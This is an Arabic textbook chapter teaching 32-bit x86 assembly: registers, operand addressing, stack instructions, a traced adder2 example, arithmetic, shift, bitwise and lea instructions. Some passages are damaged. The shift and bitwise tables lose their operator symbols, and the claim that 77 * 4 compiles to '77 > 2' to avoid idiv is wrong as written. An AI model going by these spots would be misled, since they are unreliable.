8. تجميع x86 ذو 32 بت (IA32)
نغطي في هذا الفصل بنية مجموعة تعليمات Intel Architecture 32-bit (IA32). وتذكّر أن بنية مجموعة التعليمات (instruction set architecture، أو ISA) تحدّد مجموعة التعليمات والترميزات الثنائية لبرنامج على مستوى الآلة. ولتشغيل الأمثلة في هذا الفصل، ستحتاج إلى جهاز مزوّد بمعالج x86 أو مترجم قادر على إنشاء ملفات تنفيذية ذات 32 بت. وغالبًا ما يُستخدم مصطلح "x86" مرادفًا لمعمارية IA32. ومعمارية x86 وصورتها ذات 64 بت x86-64 منتشرتان في كل مكان في الحواسيب الحديثة.
قليل جدًا من الأجهزة الحديثة تحتوي على معالجات 32 بت؛ فمعظم أنظمة Intel وAMD المنتَجة منذ عام 2007 تحتوي على معالجات 64 بت. ولمعرفة نوع المعالج لديك، استخدم الأمر uname -m:
$ uname -m
i686
إذا أعاد كتابة uname -m القيمة i686 أو i386، فمعالج نظامك ذو 32 بت. أما إذا أعاد الأمر uname -m القيمة x86_64، فنظامك يحتوي على معالج أحدث ذي 64 بت. ويرجى ملاحظة أنه بما أن x86-64 امتداد لبنية IA32 الأقدم، فإن جميع الأنظمة ذات 64 بت تقريبًا تحتوي على نظام فرعي ذي 32 بت يتيح تنفيذ الملفات التنفيذية ذات 32 بت.
إذا كان لديك نظام Linux ذو 64 بت، فغالبًا ما تُطلب حزم إضافية للسماح للمستخدمين بـإنشاء ملفات تنفيذية ذات 32 بت، كما سنفعل في هذا الفصل. فمثلًا، على جهاز يعمل بـUbuntu ستحتاج إلى تثبيت مكتبات التطوير ذات 32 بت وحزم إضافية لتزويد GCC بقدرات الترجمة المتقاطعة:
sudo apt-get install libc6-dev-i386 gcc-multilib
فروع صيغة x86
تتبع معماريات x86 عادةً أحد فرعي صيغة مختلفين. وتستخدم أجهزة UNIX عادةً صيغة AT&T، نظرًا لأن UNIX طُوّر في مختبرات AT&T Bell. والمجمّع (assembler) المقابل هو GNU Assembler (GAS). وبما أننا نستخدم GCC في معظم أمثلة هذا الكتاب، فإننا نغطي صيغة AT&T في هذا الفصل. وتستخدم أجهزة Windows عادةً صيغة Intel، التي يستخدمها مجمّع Microsoft المسمّى Macro Assembler (MASM). ويُعدّ Netwide Assembler (NASM) مثالًا على مجمّع Linux يستخدم صيغة Intel. والجدل حول أفضلية إحدى الصيغتين على الأخرى من "الحروب المقدسة" في هذا التخصص. غير أن الإلمام بالصيغتين معًا مفيد، إذ قد يصادف المبرمج أيًّا منهما في ظروف مختلفة.
لنلقِ نظرة أولى على لغة التجميع، نعدّل الدالة adder من بداية الفصل لتبسيط سلوكها. وإليك الدالة المعدّلة (adder2):
#include <stdio.h>
//adds two to an integer and returns the result
int adder2(int a) {
return a + 2;
}
int main(void) {
int x = 40;
x = adder2(x);
printf("x is: %d\n", x);
return 0;
}
لترجمة هذه الشيفرة، استخدم الأمر التالي:
$ gcc -m32 -o modified modified.c
تُخبر الراية -m32 المترجم GCC بترجمة الشيفرة إلى ملف تنفيذي ذي 32 بت. وقد يؤدي نسيان تضمين هذه الراية إلى شيفرة تجميع مختلفة جذريًا عن الأمثلة المعروضة في هذا الفصل؛ إذ يترجم GCC افتراضيًا إلى تجميع x86-64، أي الصورة ذات 64 بت من x86. غير أن جميع المعماريات ذات 64 بت تقريبًا تملك نمط تشغيل ذا 32 بت للتوافق مع الإصدارات السابقة. يغطي هذا الفصل IA32؛ وتغطي فصول أخرى x86-64 وARM. ورغم قِدَمه، لا تزال IA32 مفيدة للغاية لفهم كيفية عمل البرامج وكيفية تحسين الشيفرة.
بعد ذلك، لنعرض شيفرة التجميع المقابلة لهذه الشيفرة بكتابة الأمر التالي:
$ objdump -d modified > output
$ less output
ابحث عن مقطع الشيفرة المرتبط بالدالة adder2 بكتابة /adder2 أثناء فحص الملف output باستخدام less. ومن المفترض أن يبدو القسم المرتبط بالدالة adder2 شبيهًا بما يلي:
مخرجات التجميع للدالة adder2
0804840b <adder2>:
804840b: 55 push %ebp
804840c: 89 e5 mov %esp,%ebp
804840e: 8b 45 08 mov 0x8(%ebp),%eax
8048411: 83 c0 02 add $0x2,%eax
8048414: 5d pop %ebp
8048415: c3 ret
لا تقلق إن لم تفهم ما يجري بعد. سنغطي لغة التجميع بمزيد من التفصيل في أقسام لاحقة. في الوقت الحالي، سنفحص بنية كل تعليمة من هذه التعليمات.
يحتوي كل سطر في المثال السابق على عنوان التعليمة في ذاكرة البرنامج، والبايتات المقابلة للتعليمة، والتمثيل النصي للتعليمة نفسها. فمثلًا، 55 هو تمثيل شيفرة الآلة للتعليمة push %ebp، وتقع التعليمة عند العنوان 0x804840b في ذاكرة البرنامج.
من المهم ملاحظة أن سطرًا واحدًا من شيفرة C يُترجم غالبًا إلى تعليمات متعددة في لغة التجميع. فالعملية a + 2 يمثّلها التعليمتان mov 0x8(%ebp), %eax وadd $0x2, %eax.
تحذير — قد تبدو شيفرة التجميع لديك مختلفة!
إذا كنت تترجم شيفرتك معنا، فقد تلاحظ أن بعض أمثلة التجميع لديك تبدو مختلفة عما هو معروض في هذا الكتاب. فالتعليمات الدقيقة التي ينتجها أي مترجم تعتمد على إصدار ذلك المترجم ونظام التشغيل الأساسي. وقد أُنشئت معظم أمثلة التجميع في هذا الكتاب على أنظمة تعمل بـ Ubuntu أو Red Hat Enterprise Linux (RHEL).
في الأمثلة التالية، لا نستخدم أي رايات تحسين. فمثلًا، نترجم أي ملف مثال (
example.c) باستخدام الأمرgcc -m32 -o example example.c. وبالتالي، توجد في الأمثلة التالية تعليمات كثيرة تبدو زائدة عن الحاجة. وتذكّر أن المترجم ليس "ذكيًا" — فهو يتبع ببساطة سلسلة من القواعد لترجمة الشيفرة المقروءة بشريًا إلى لغة الآلة. وأثناء عملية الترجمة هذه، ليس غريبًا أن تحدث بعض الزيادة. وتزيل المترجمات المحسِّنة كثيرًا من هذه الزوائد أثناء التحسين، وهو موضوع يُغطّى في فصل لاحق.
8.1.1. السجلات
تذكّر أن السجل (register) وحدة تخزين بحجم كلمة تقع مباشرة على وحدة المعالجة المركزية (CPU). وقد توجد سجلات منفصلة للبيانات والتعليمات والعناوين. فمثلًا، يحتوي معالج Intel على ثمانية سجلات إجمالًا لتخزين بيانات 32 بت:
%eax و%ebx و%ecx و%edx و%edi و%esi و%esp و%ebp.
يمكن للبرامج القراءة من جميع هذه السجلات الثمانية والكتابة إليها. وتحمل السجلات الستة الأولى بيانات عامة الغرض، بينما تُحجز آخر سجلين عادةً لحمل بيانات العناوين. ومع أن البرنامج قد يفسّر محتوى سجل عام الغرض كأعداد صحيحة أو كعناوين، فإن السجل نفسه لا يميّز بينها. ويُعرف السجلان الأخيران (%esp و%ebp) بـمؤشّر المكدّس (stack pointer) ومؤشّر الإطار (frame pointer) على الترتيب. ويحتفظ المترجم بهذين السجلين لعمليات تحافظ على تخطيط مكدّس البرنامج. وعادةً يشير %esp إلى قمة مكدّس البرنامج، بينما يشير %ebp إلى قاعدة إطار المكدّس الحالي. ونناقش إطارات المكدّس وهذين السجلين بمزيد من التفصيل في مناقشتنا لـالدوال.
آخر سجل جدير بالذكر هو %eip أو مؤشّر التعليمات (instruction pointer)، ويُسمّى أحيانًا عدّاد البرنامج (program counter, PC). وهو يشير إلى التعليمة التالية التي ستُنفّذها وحدة المعالجة المركزية. وخلافًا للسجلات الثمانية المذكورة سابقًا، لا يمكن للبرامج الكتابة مباشرة في السجل %eip.
8.1.2. ترميز السجلات المتقدم
بالنسبة للسجلات الستة الأولى المذكورة، توفّر بنية ISA آلية للوصول إلى البتات الـ16 السفلى من كل سجل. وتوفّر بنية ISA أيضًا آلية منفصلة للوصول إلى المكوّنات ذات الثماني بتات من البتات الـ16 السفلى للسجلات الأربعة الأولى من هذه السجلات. ويسرد الجدول 1 كل سجل من السجلات الستة وآليات ISA (إن وُجدت) للوصول إلى مكوّناته من البايتات.
| سجل 32-بت (البتات 31-0) | البتات الـ16 السفلى (البتات 15-0) | البتات 15-8 | البتات 7-0 |
|---|---|---|---|
%eax |
%ax |
%ah |
%al |
%ebx |
%bx |
%bh |
%bl |
%ecx |
%cx |
%ch |
%cl |
%edx |
%dx |
%dh |
%dl |
%edi |
%di |
||
%esi |
%si |
يمكن الوصول إلى البتات الـ16 السفلى من أي سجل من السجلات المذكورة آنفًا بالإشارة إلى الحرفين الأخيرين في اسم السجل. فمثلًا، استخدم %ax للوصول إلى البتات الـ16 السفلى من %eax.
يمكن الوصول إلى البايتين العلوي والسفلي داخل البتات الـ16 السفلى من السجلات الأربعة الأولى المذكورة بأخذ الحرفين الأخيرين من اسم السجل واستبدال الحرف الأخير إما بحرف h (لـالأعلى) أو بحرف l (لـالأدنى) حسب البايت المطلوب. فمثلًا، يشير %al إلى البتات الثماني السفلى من السجل %ax، بينما يشير %ah إلى البتات الثماني العليا من السجل %ax. ويستخدم المترجم هذه السجلات ذات الثماني بتات عادةً لتخزين قيم بايت واحد لعمليات معينة، مثل الإزاحات على مستوى البتات (فلا يمكن إزاحة سجل 32-بت أكثر من 32 موضعًا، والعدد 32 لا يحتاج إلا إلى بايت واحد للتخزين). وبشكل عام، سيستخدم المترجم أصغر سجل مكوّن لازم لإكمال العملية.
8.1.3. بنية التعليمة
تتكوّن كل تعليمة من رمز عملية (operation code أو opcode) يحدّد ما تفعله، ومعامل واحد أو أكثر (operands) يخبر التعليمة كيف تفعل ذلك. فمثلًا، التعليمة add $0x2, %eax لها رمز العملية add والمعاملان $0x2 و%eax.
يقابل كل معامل موضعًا مصدريًا أو هدفًا لعملية محددة. وتوجد أنواع متعددة من المعاملات:
- القيم الثابتة (الحرفية) تُسبق بعلامة
$. فمثلًا في التعليمةadd $0x2, %eax، القيمة$0x2قيمة حرفية تقابل القيمة السداسية العشرية 0x2. - تشير صيغ السجل إلى سجلات فردية. وتحدّد التعليمة
add $0x2, %eaxالسجل%eaxكموقع هدف تُخزَّن فيه نتيجة عمليةadd. - صيغ الذاكرة تقابل قيمة ما داخل الذاكرة الرئيسية (RAM) وتُستخدم عادةً لعمليات البحث بالعنوان. ويمكن أن تحتوي صيغ عناوين الذاكرة على مزيج من السجلات والقيم الثابتة. فمثلًا، في التعليمة
mov 0x8(%ebp),%eax، المعامل0x8(%ebp)مثال على صيغة الذاكرة. وهو يعني تقريبًا "أضف 0x8 إلى القيمة الموجودة في السجل%ebp، ثم نفّذ بحثًا في الذاكرة". وإذا كان هذا يبدو كإلغاء إشارة مؤشّر، فذلك لأنه كذلك فعلًا!
8.1.4. مثال باستخدام المعاملات
أفضل طريقة لشرح المعاملات بالتفصيل هي تقديم مثال سريع. لنفترض أن الذاكرة تحتوي على القيم التالية:
| العنوان | القيمة |
|---|---|
| 0x804 | 0xCA |
| 0x808 | 0xFD |
| 0x80c | 0x12 |
| 0x810 | 0x1E |
ولنفترض أيضًا أن السجلات التالية تحتوي على قيم:
| السجل | القيمة |
|---|---|
| %eax | 0x804 |
| %ebx | 0x10 |
| %ecx | 0x4 |
| %edx | 0x1 |
عندئذٍ تُقيَّم المعاملات في الجدول 2 إلى القيم المعروضة. ويطابق كل صف في الجدول معاملًا ما بصيغته (مثل: ثابت، سجل، ذاكرة)، وكيفية ترجمته، وقيمته. لاحظ أن الترميز M[x] في هذا السياق يشير إلى القيمة الموجودة في موقع الذاكرة المحدّد بالعنوان x.
| المعامل | الصيغة | الترجمة | القيمة |
|---|---|---|---|
| %ecx | سجل | %ecx | 0x4 |
| (%eax) | ذاكرة | M[%eax] أو M[0x804] | 0xCA |
| $0x808 | ثابت | 0x808 | 0x808 |
| 0x808 | ذاكرة | M[0x808] | 0xFD |
| 0x8(%eax) | ذاكرة | M[%eax + 8] أو M[0x80c] | 0x12 |
| (%eax, %ecx) | ذاكرة | M[%eax + %ecx] أو M[0x808] | 0xFD |
| 0x4(%eax, %ecx) | ذاكرة | M[%eax + %ecx + 4] أو M[0x80c] | 0x12 |
| 0x800(,%edx,4) | ذاكرة | M[0x800 + %edx*4] أو M[0x804] | 0xCA |
| (%eax, %edx, 8) | ذاكرة | M[%eax + %edx*8] أو M[0x80c] | 0x12 |
في الجدول 2، يشير الترميز %ecx إلى القيمة المخزّنة في السجل %ecx. وفي المقابل، يشير M[%eax] إلى أنه ينبغي معاملة القيمة الموجودة داخل %eax كعنوان، وإلغاء الإشارة (البحث) عن القيمة في ذلك العنوان. ولذلك، يقابل المعامل (%eax) القيمة M[0x804] التي تقابل القيمة 0xCA.
ملاحظات مهمة قليلة قبل المتابعة. رغم أن الجدول 2 يعرض صيغًا صحيحة كثيرة للمعاملات، لا يمكن استخدام جميع الصيغ بالتبادل في كل الظروف.
وتحديدًا:
- لا يمكن أن تعمل صيغ الثوابت كمعاملات هدف.
- لا يمكن أن تعمل صيغ الذاكرة كمعامل المصدر ومعامل الهدف في التعليمة نفسها.
- في حالات عمليات القياس (انظر المعاملين الأخيرين في الجدول 2)، يجب أن يكون معامل القياس واحدًا من 1 أو 2 أو 4 أو 8.
يُقدَّم الجدول 2 كمرجع؛ غير أن فهم صيغ المعاملات الأساسية سيساعد على تحسين سرعة القارئ في تحليل لغة التجميع.
8.1.5. لواحق التعليمات
في حالات عدة في الأمثلة القادمة، تحمل التعليمات الشائعة والحسابية لاحقة تشير إلى حجم البيانات التي تُجرى عليها العملية على مستوى الشيفرة (والمرتبط بـالنوع). ويترجم المترجم الشيفرة تلقائيًا إلى تعليمات باللاحقة المناسبة. ويعرض الجدول 3 اللواحق الشائعة لتعليمات x86.
| اللاحقة | نوع C | الحجم (بايت) |
|---|---|---|
| b | char |
1 |
| w | short |
2 |
| l | int, long, unsigned |
4 |
لاحظ أن التعليمات المتعلقة بالتنفيذ الشرطي لها لواحق مختلفة حسب الشرط المُقيَّم. وسنغطي التعليمات المرتبطة بالتعليمات الشرطية في قسم لاحق.
نناقش في هذا القسم عدة تعليمات تجميع x86 شائعة. ويسرد الجدول 1 التعليمات الأكثر أساسية في تجميع x86.
| التعليمة | الترجمة |
|---|---|
mov S, D |
S → D (ينسخ قيمة S إلى D) |
add S, D |
S + D → D (يضيف S إلى D ويخزّن النتيجة في D) |
sub S, D |
D - S → D (يطرح S من D ويخزّن النتيجة في D) |
لذلك، فإن تسلسل التعليمات
mov 0x8(%ebp),%eax
add $0x2,%eax
يُترجم إلى:
- انسخ القيمة الموجودة في الموقع
%ebp+ 0x8 في الذاكرة (أو M[%ebp+ 0x8]) إلى السجل%eax. - أضف القيمة 0x2 إلى السجل
%eax، وخزّن النتيجة في السجل%eax.
تشكّل التعليمات الثلاث المعروضة في الجدول 1 أيضًا اللبنات الأساسية للتعليمات التي تحافظ على تنظيم مكدّس البرنامج (أي مكدّس الاستدعاء). وتذكّر أن السجلين %ebp و%esp يشيران إلى مؤشّر الإطار ومؤشّر المكدّس على الترتيب، ويحتفظ بهما المترجم لإدارة مكدّس الاستدعاء. وتذكّر من مناقشتنا السابقة لـذاكرة البرنامج أن مكدّس الاستدعاء يخزّن المتغيرات المحلية والمعاملات ويساعد البرنامج على تتبع تنفيذه (انظر الشكل 1).
الشكل 1. أجزاء فضاء عنونة البرنامج
في أنظمة IA32، ينمو مكدّس التنفيذ نحو العناوين الأدنى. وكما في جميع بنى بيانات المكدّس، تحدث العمليات عند "قمة" المكدّس. وتوفّر بنية x86 تعليمتين (الجدول 2) لتبسيط إدارة مكدّس الاستدعاء.
الجدول 2. تعليمات إدارة المكدّس
التعليمة
push S
الترجمة
يدفع نسخة من S إلى قمة المكدّس. ويكافئ:
sub $4, %esp
mov S, (%esp)
التعليمة
pop D
الترجمة
يسحب العنصر الأعلى من المكدّس ويضعه في الموضع D. ويكافئ:
mov (%esp), D
add $4, %esp
لاحظ أنه بينما تتطلب التعليمات الثلاث في Basic معاملين، فإن التعلميتين push وpop في Stack تتطلبان معاملًا واحدًا فقط لكل منهما.
8.2.1. جمع كل ذلك معًا: مثال أكثر تحديدًا
لنلقِ نظرة أقرب على الدالة adder2:
//adds two to an integer and returns the result
int adder2(int a) {
return a + 2;
}
وشيفرة التجميع المقابلة لها:
0804840b <adder2>:
804840b: 55 push %ebp
804840c: 89 e5 mov %esp,%ebp
804840e: 8b 45 08 mov 0x8(%ebp),%eax
8048411: 83 c0 02 add $0x2,%eax
8048414: 5d pop %ebp
8048415: c3 ret
تتكوّن شيفرة التجميع من تعليمة push، تليها تعلميتا mov، وتعليمة add، وتعليمة pop، وأخيرًا تعليمة ret. ولفهم كيفية تنفيذ وحدة المعالجة المركزية لهذه المجموعة من التعليمات، علينا العودة إلى بنية ذاكرة البرنامج. وتذكّر أنه في كل مرة ينفّذ فيها برنامج ما، يخصّص نظام التشغيل فضاء عنونة البرنامج الجديد (المعروف أيضًا بـالذاكرة الظاهرية). وسنغطي الذاكرة الظاهرية والمفهوم المرتبط بها، أي العمليات، بمزيد من التفصيل في الفصل 13؛ ويكفي في الوقت الحالي أن نتصور العملية كتجريد لبرنامج قيد التنفيذ، والذاكرة الظاهرية كالذاكرة المخصّصة لعملية واحدة. ولكل عملية منطقة ذاكرة خاصة بها تُسمى مكدّس الاستدعاء. وضع في اعتبارك أن مكدّس الاستدعاء يقع في ذاكرة العملية/الظاهرية، بخلاف السجلات (التي تقع على وحدة المعالجة المركزية).
يوضّح الشكل 2 حالة نموذجية لمكدّس الاستدعاء والسجلات قبل تنفيذ الدالة adder2.
الشكل 2. مكدّس التنفيذ قبل التنفيذ
لاحظ أن المكدّس ينمو نحو العناوين الأدنى. ويحتوي السجلان %eax و%edx حاليًا على قيم غير ذات معنى. وقد اختُصرت العناوين المرتبطة بالتعليمات في مقطع الشيفرة من ذاكرة البرنامج (0x804840b-0x8048415) إلى (0x40b-0x415) لتحسين قابلية قراءة الشكل. وبالمثل، اختُصرت العناوين المرتبطة بمقطع مكدّس الاستدعاء من ذاكرة البرنامج إلى 0x108-0x110 من 0xffffd108-0xffffd110. وفي الحقيقة، تقع عناوين مكدّس الاستدعاء عند عناوين أعلى في ذاكرة البرنامج من عناوين مقطع الشيفرة.
انتبه جيدًا إلى القيم الأولية (المختلقة) للسجلين %esp و%ebp: فهما 0x10c و0x12a على الترتيب. ويحتوي مكدّس الاستدعاء حاليًا على القيمة 0x28 (أو 40) عند عنوان المكدّس 0x110 (وسيُغطّى سبب وجودها وكيفية وصولها في مناقشتنا لـالدوال). ويشير السهم في أعلى اليسار في الأشكال التالية بصريًا إلى التعليمة قيد التنفيذ. ويعرض السجل %eip (أو مؤشّر التعليمات) التعليمة التالية المراد تنفيذها. في البداية، يحتوي %eip على العنوان 0x40b الذي يقابل التعليمة الأولى في الدالة adder2.
تضع التعليمة الأولى (push %ebp) نسخة من القيمة الموجودة في %ebp (أو 0x12a) على قمة المكدّس. وبعد تنفيذها، يتقدم السجل %eip إلى عنوان التعليمة التالية المراد تنفيذها (أو 0x40c). وتُنقص تعليمة push مؤشّر المكدّس بمقدار 4 ("فتنمي" المكدّس بمقدار 4 بايتات)، ما ينتج قيمة جديدة لـ%esp هي 0x108. وتذكّر أن التعليمة push %ebp تكافئ:
sub $4, %esp
mov %ebp, (%esp)
وبعبارة أخرى، اطرح 4 من مؤشّر المكدّس وضع نسخة من محتويات %ebp في الموقع الذي يشير إليه مؤشّر المكدّس بعد إلغاء الإشارة، (%esp).
تذكّر أن بنية التعليمة mov هي mov S,D، حيث S هو الموقع المصدر، وD هو الهدف. وهكذا، تحدّث التعليمة التالية (mov %esp, %ebp) قيمة %ebp إلى 0x108. ويتقدم السجل %eip إلى عنوان التعليمة التالية المراد تنفيذها، أي 0x40e.
بعد ذلك، تُنفَّذ التعليمة mov 0x8(%ebp), %eax. وهذه أعقد قليلًا من تعليمة mov السابقة. لنحلّلها بالرجوع إلى جدول المعاملات من القسم السابق. أولًا، يُترجم 0x8(%ebp) إلى M[%ebp + 0x8]. وبما أن %ebp يحتوي على القيمة 0x108، فإن إضافة 8 إليها تعطي 0x110. وإجراء بحث في (ذاكرة) المكدّس عند 0x110 يعطي القيمة 0x28 (تذكّر أن 0x28 وُضعت على المكدّس بشيفرة سابقة). لذا، تُنسخ القيمة 0x28 إلى السجل %eax. ويتقدم مؤشّر التعليمات إلى العنوان 0x411، وهو العنوان التالي المراد تنفيذه.
بعد ذلك، تُنفَّذ التعليمة add $0x2, %eax. وتذكّر أن التعليمة add لها الصيغة add S,D وتضع المقدار S + D في الهدف D. لذا، تضيف add $0x2, %eax القيمة الثابتة 0x2 إلى القيمة المخزّنة في %eax (أو 0x28)، فتنتج 0x2A التي تُخزَّن في السجل %eax. ويتقدم السجل %eip ليشير إلى التعليمة التالية المراد تنفيذها، أي 0x414.
التعليمة التالية التي تُنفَّذ هي pop %ebp. وتسحب هذه التعليمة قيمة من مكدّس الاستدعاء وتضعها في سجل الهدف %ebp. وتذكّر أن هذه التعليمة تكافئ تسلسل التعليمتين التاليتين:
mov (%esp), %ebp
add $4, %esp
بعد تنفيذ هذه التعليمة، تُنسخ القيمة الموجودة في قمة المكدّس (%esp) أو (M[0x108]) إلى السجل %ebp. وهكذا، يحتوي %ebp الآن على القيمة 0x12a. ويزداد مؤشّر المكدّس بمقدار 4، لأن المكدّس ينمو نحو العناوين الأدنى (وبالتالي يتقلص نحو العناوين الأعلى). والقيمة الجديدة لـ%esp هي 0x10c، ويشير %eip الآن إلى عنوان التعليمة الأخيرة المراد تنفيذها في مقطع الشيفرة هذا (0x415).
التعليمة الأخيرة المنفَّذة هي ret. وسنتحدث أكثر عن ما يحدث مع ret في أقسام قادمة عندما نناقش استدعاءات الدوال، لكن يكفي في الوقت الحالي معرفة أنها تهيّئ مكدّس الاستدعاء للعودة من دالة. وحسب الاصطلاح، يحتوي السجل %eax دائمًا على قيمة الإرجاع (إن وُجدت). وفي هذه الحالة، تعيد الدالة القيمة 0x2A، التي تقابل القيمة العشرية 42.
قبل أن نتابع، لاحظ أن القيم النهائية في السجلين %esp و%ebp هي 0x10c و0x12a على الترتيب، وهي القيم نفسها التي كانت عليها عند بدء تنفيذ الدالة! وهذا سلوك طبيعي ومتوقع مع مكدّس الاستدعاء. فالغرض من مكدّس الاستدعاء هو تخزين المتغيرات والبيانات المؤقتة لكل دالة أثناء تنفيذها في سياق البرنامج. وبمجرد أن تُكمل الدالة تنفيذها، يعود المكدّس إلى الحالة التي كان عليها قبل استدعاء الدالة. ونتيجة لذلك، سترى عادةً التعليمتين التاليتين في بداية الدالة:
push %ebp
mov %esp, %ebp
والتعليمتين التاليتين في نهاية كل دالة:
pop %ebp
ret
تنفّذ بنية IA32 عدة تعليمات تقابل العمليات الحسابية التي تنفّذها وحدة الحساب والمنطق (ALU). ويسرد الجدول 1 عدة تعليمات حسابية قد يصادفها المرء عند قراءة لغة التجميع.
| التعليمة | الترجمة |
|---|---|
add S, D |
S + D → D |
sub S, D |
D - S → D |
inc D |
D + 1 → D |
dec D |
D - 1 → D |
neg D |
-D → D |
imul S, D |
S × D → D |
idiv S |
%eax / S : خارج القسمة (Q) → %eax، والباقي (R) → %edx |
تقابل التعلميتان add وsub الجمع والطرح، وتأخذ كل منهما معاملين. وتعرض المدخلات الثلاثة التالية التعليمات ذات السجل الواحد لعمليات الزيادة (x++) والإنقاص (x--) والسالب (-x) في C. وتعمل تعليمة الضرب على معاملين وتضع حاصل الضرب في الهدف. وإذا كان حاصل الضرب يحتاج إلى أكثر من 32 بت لتمثيله، فستُقتطع القيمة إلى 32 بت.
تعمل تعليمة القسمة بطريقة مختلفة قليلًا. فقبل تنفيذ التعليمة idiv، يُفترض أن السجل %eax يحتوي على المقسوم. ويؤدي استدعاء idiv على المعامل S إلى قسمة محتويات %eax على S ووضع خارج القسمة في السجل %eax والباقي في السجل %edx.
8.3.1. تعليمات إزاحة البتات
تتيح تعليمات إزاحة البتات للمترجم تنفيذ عمليات إزاحة البتات. وتستغرق تعليمات الضرب والقسمة عادةً وقتًا طويلًا للتنفيذ. وتوفّر إزاحة البتات للمترجم طريقًا مختصرًا للمضاعفات والمقسومات التي تكون من قوى العدد 2. فمثلًا، لحساب 77 * 4، سيترجم معظم المترجمات هذه العملية إلى 77 > 2 لتجنّب استخدام التعليمة idiv.
ضع في اعتبارك أن إزاحة البتات يسارًا ويمينًا تُترجمان إلى تعليمات مختلفة حسب ما إذا كان الهدف إزاحة حسابية (موقّعة) أم منطقية (غير موقّعة).
| التعليمة | الترجمة | حسابية أم منطقية؟ |
|---|---|---|
sal v, D |
D ` | حسابية |
shl v, D |
D ` | منطقية |
sar v, D |
D >> v → D |
حسابية |
shr v, D |
D >> v → D |
منطقية |
تأخذ كل تعليمة إزاحة معاملين، أحدهما سجل عادةً (يُرمز إليه بـD) والآخر قيمة إزاحة (v). وفي الأنظمة ذات 32 بت، تُرمَّز قيمة الإزاحة في بايت واحد (لأنه لا معنى للإزاحة لما بعد 31). ويجب أن تكون قيمة الإزاحة v إما ثابتة وإما مخزّنة في السجل %cl.
ملاحظة — إصدارات مختلفة من التعليمات تساعد على تمييز الأنواع على مستوى لغة التجميع
على مستوى لغة التجميع، لا يوجد مفهوم للأنواع. غير أن تذكّر أن الإزاحة يمينًا تعمل بشكل مختلف حسب ما إذا كانت القيمة موقّعة أم لا. وعلى مستوى لغة التجميع، يستخدم المترجم تعليمات منفصلة للتمييز بين الإزاحات المنطقية والحسابية!
8.3.2. تعليمات البتات
تتيح تعليمات البتات للمترجم تنفيذ عمليات على مستوى البتات على البيانات. وإحدى طرق استخدام المترجم لعمليات البتات هي تحقيق تحسينات معينة. فمثلًا، قد يختار المترجم تنفيذ 77 mod 4 بالعملية 77 & 3 بدلًا من التعليمة idiv الأكثر تكلفة.
ويسرد الجدول 3 تعليمات البتات الشائعة.
| التعليمة | الترجمة |
|---|---|
and S, D |
S & D → D |
or S, D |
S ` |
xor S, D |
S ^ D → D |
not D |
~D → D |
تذكّر أن not على مستوى البتات تختلف عن السالب (neg). فالتعليمة not تقلب البتات، لكنها لا تضيف 1. واحذر من الخلط بين هاتين التعلميتين.
تحذير — استخدم عمليات البتات فقط عند الحاجة في شيفرة C الخاصة بك!
بعد قراءة هذا القسم، قد يغريك استبدال العمليات الحسابية الشائعة في شيفرة C الخاصة بك بإزاحات البتات وعمليات أخرى. وهذا غير مُوصى به. فمعظم المترجمات الحديثة ذكية بما يكفي لاستبدال العمليات الحسابية البسيطة بعمليات البتات عندما يكون ذلك منطقيًا، ما يجعل قيام المبرمج بذلك غير ضروري. وكقاعدة عامة، ينبغي للمبرمجين إعطاء الأولوية لقابلية قراءة الشيفرة كلما أمكن وتجنّب التحسين المبكر.
8.3.3. تعليمة تحميل العنوان الفعّال
ما شأن lea (ما شأنها) بذلك؟
ما lea سوى تحميل عنوان فعّال؟
~مع الاعتذار إلى تينا تيرنر
نصل أخيرًا إلى تعليمة تحميل العنوان الفعّال (load effective address) أو lea، وهي على الأرجح التعليمة الحسابية التي تثير أكبر قدر من الحيرة لدى الطلاب. وتُستخدم تقليديًا كطريقة سريعة لحساب عنوان موقع في الذاكرة. وتعمل التعليمة lea على بنية المعاملات نفسها التي رأيناها حتى الآن، لكنها لا تتضمن بحثًا في الذاكرة. وبغض النظر عن نوع البيانات الموجودة في المعامل (سواء كانت قيمة ثابتة أو عنوانًا)، فإن lea تنفّذ عمليات حسابية فحسب.
فمثلًا، لنفترض أن السجل %eax يحتوي على القيمة الثابتة 0x5، والسجل %edx يحتوي على القيمة الثابتة 0x4، والسجل %ecx يحتوي على القيمة 0x808 (التي تصادف أنها عنوان). ويعرض الجدول 4 بعض عمليات lea كمثال، مع ترجماتها وقيمها المقابلة.
| التعليمة | الترجمة | القيمة |
|---|---|---|
lea 8(%eax), %eax |
8 + %eax → %eax |
13 → %eax |
lea (%eax, %edx), %eax |
%eax + %edx → %eax |
9 → %eax |
lea (,%eax,4), %eax |
%eax × 4 → %eax |
20 → %eax |
lea -0x8(%ecx), %eax |
%ecx - 8 → %eax |
0x800 → %eax |
lea -0x4(%ecx, %edx, 2), %eax |
%ecx + %edx × 2 - 4 → %eax |
0x80c → %eax |
في جميع الحالات، تنفّذ التعليمة lea عمليات حسابية على المعامل المحدّد بالمصدر S وتضع النتيجة في معامل الهدف D. والتعليمة mov مطابقة للتعليمة lea إلا أن التعليمة mov ملزمة بمعاملة محتويات المعامل المصدر كموقع في الذاكرة إذا كان بصيغة ذاكرة. وفي المقابل، تنفّذ lea الحسابات نفسها (المعقدة أحيانًا) على المعاملات دون البحث في الذاكرة، ما يمكّن المترجم من استخدام lea بذكاء كبديل لبعض أنواع العمليات الحسابية.
يغطي هذا القسم تعليمات التجميع الخاصة بـالتعبيرات الشرطية والحلقات. وتذكّر أن العبارات الشرطية تمكّن المبرمجين من تعديل تنفيذ البرنامج بناءً على نتيجة تعبير شرطي. ويترجم المترجم التعبيرات الشرطية إلى تعليمات تجميع تعدّل مؤشّر التعليمات (%eip) ليشير إلى عنوان ليس التالي في تسلسل البرنامج.
تعليمات المقارنة الشرطية
تنفّذ تعليمات المقارنة عملية حسابية بغرض توجيه التنفيذ الشرطي للبرنامج. ويسرد الجدول 1 التعليمات الأساسية المرتبطة بالتحكم الشرطي.
| التعليمة | الترجمة |
|---|---|
cmp R1, R2 |
يقارن R2 بـR1 (أي يحسب R2 - R1) |
test R1, R2 |
يحسب R1 & R2 |
تقارن التعليمة cmp قيمتي سجلين، R2 وR1. وتحديدًا، تطرح R1 من R2. وتنفّذ التعليمة test عملية AND على مستوى البتات. ومن الشائع رؤية تعليمة مثل:
test %eax, %eax
في هذا المثال، تكون نتيجة AND على مستوى البتات لـ%eax مع نفسه صفرًا فقط عندما يحتوي %eax على الصفر. وبعبارة أخرى، هذا اختبار لقيمة صفرية ويكافئ ما يلي:
cmp $0, %eax
